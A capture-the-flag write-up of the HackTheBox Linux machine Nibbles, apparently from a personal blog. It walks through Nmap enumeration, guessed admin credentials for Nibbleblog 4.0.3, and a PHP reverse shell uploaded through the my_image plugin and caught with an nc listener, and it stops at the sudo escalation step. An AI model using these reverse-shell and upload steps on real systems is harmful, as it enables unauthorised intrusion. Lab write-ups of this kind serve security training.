· Manuel López Pérez · writeups  · 1 min read

WriteUp – Nibbles (HackTheBox)

Write-up of Nibbles (HackTheBox): simple Linux machine that exploits Nibbleblog 4.0.3 with leaked credentials and RCE via plugin upload, and escalates to root by abusing sudo in the monitor.sh script.

Write-up of Nibbles (HackTheBox): simple Linux machine that exploits Nibbleblog 4.0.3 with leaked credentials and RCE via plugin upload, and escalates to root by abusing sudo in the monitor.sh script.

In this post we will resolve the machine Nibbles from HackTheBox It’s is a very simple Linux machine. My nick in HackTheBox is: manulqwerty If you have any proposal or correction do not hesitate to leave a comment.

WriteUp

Enumeration

As always, the first thing will be a port scan with Nmap:

nmap -sC -sV 10.10.10.75

Let’s take a look at the web. We’ll check the source code: Where we see:

/nibbleblog/ directory. Nothing interesting here!

So with no need to fuzz, we found:

http://10.10.10.75/nibbleblog/

That seems to be a nibbleblog. Let’s list the files and directorys of a nibbleblog: http://www.schizovivek.in/?dir=nibbleblog

We find the Admin Panel on:

http://10.10.10.75/nibbleblog/admin.php

Exploitation

After a couple of tests we find the credentials:

admin:nibbles

As we see on Settings, the version is: Nibbleblog 4.0.3 “Coffee” We look for exploits for that version: https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html or with metasploit: exploit/multi/http/nibbleblog_file_upload Get shell:

 locate webshell cp /usr/share/webshells/php/php-reverse-shell.php . #We edit the ip php-reverse-shell.php nc -lvp 1234 #We upload the .php using the plugin my image of nibbleblog #Execute the php on: http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php 

Post-Exploitation

We get tty shell: With sudo -l we see that we can execute the file: /home/nibbler/personal/stuff/monitor.sh as root with no passwd:

Back to Blog

Related Posts

View All Posts »
WriteUp – Nibbles (HackTheBox)

WriteUp – Nibbles (HackTheBox)

Write-up de Nibbles (HackTheBox): máquina Linux sencilla que explota Nibbleblog 4.0.3 con credenciales filtradas y RCE vía plugin upload, y escala a root abusando de sudo en script monitor.sh.

WriteUp - Fighter (HackTheBox)

WriteUp - Fighter (HackTheBox)

Write-up of Fighter (HackTheBox): medium-level Windows machine exploiting time-based SQLi to extract credentials, gets RCE via xp_cmdshell + msbuild NPS payload, and escalates to SYSTEM with Capcom.sys (CVE-2019-7253) + bypass of checks.

WriteUp - Fighter (HackTheBox)

WriteUp - Fighter (HackTheBox)

Write-up de Fighter (HackTheBox): máquina Windows de nivel medio que explota SQLi time-based para extraer credenciales, obtiene RCE vía xp_cmdshell + msbuild NPS payload y escala a SYSTEM con Capcom.sys (CVE-2019-7253) + bypass de checks.

WriteUp - Celestial (HackTheBox)

WriteUp - Celestial (HackTheBox)

Write-up of Celestial (HackTheBox). Low-level Linux machine that exploits an insecure cookie deserialisation in Node.js (CVE-2017-16137) to obtain RCE, then escalates to root by abusing a cron job that executes an editable script.